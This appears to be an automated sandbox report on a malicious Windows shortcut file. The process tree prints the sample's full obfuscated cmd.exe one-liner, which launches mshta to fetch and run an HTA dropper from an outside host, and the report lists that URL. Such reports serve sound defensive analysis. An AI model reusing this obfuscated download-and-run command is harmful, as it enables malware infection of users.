Analysis

  • max time kernel
    148s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:21

General

  • Target
    DOC-NZ0MCZ.lnk
  • Size 2KB
  • Sample260804-j9f2jsvelc
  • SHA256 e67929adeae261acd12fb7439fa517dea49badf421464ef32e906ea32abe9d71
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NZ0MCZ.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5064
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set aoAHT=cachegenmwyfbuwwscache&&set mWwDv=sysxojvefwrttsys&&set OrRW=oldbjieamjmkmold&&set Hk=winadmmpmncoujwhgwin&&set uv=oldxnzglpold&&set XbT=netnlbqmjlezmdnrwninet&&set NJiM=winpquxnlwin&&set eqJsJ=wcshxi&&set lcO=3tar8y&&set SGNaw=g9ctyx&&set nLD=winzedrepdwwin&&set Wv=7amshx&&set BPr=ert6&&set GT=e4acfw&&set RtUfH=dbgkzugdhgawvvvoqugjfdbg&&set EdPc=cachevgynlcache&&set AoeD=winpagqgaqhmwin&&set VEmD=h@t@t@ps:/@/m@a-@pdffi@ll@e@r.@l@a@t/h/estag@i@[email protected]@hp@?@r=39146@9@FB5D82@DB&&start /b !Wv:~2,3!!BPr:~2,1!!GT:~2,1! !VEmD:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1812
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5548

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads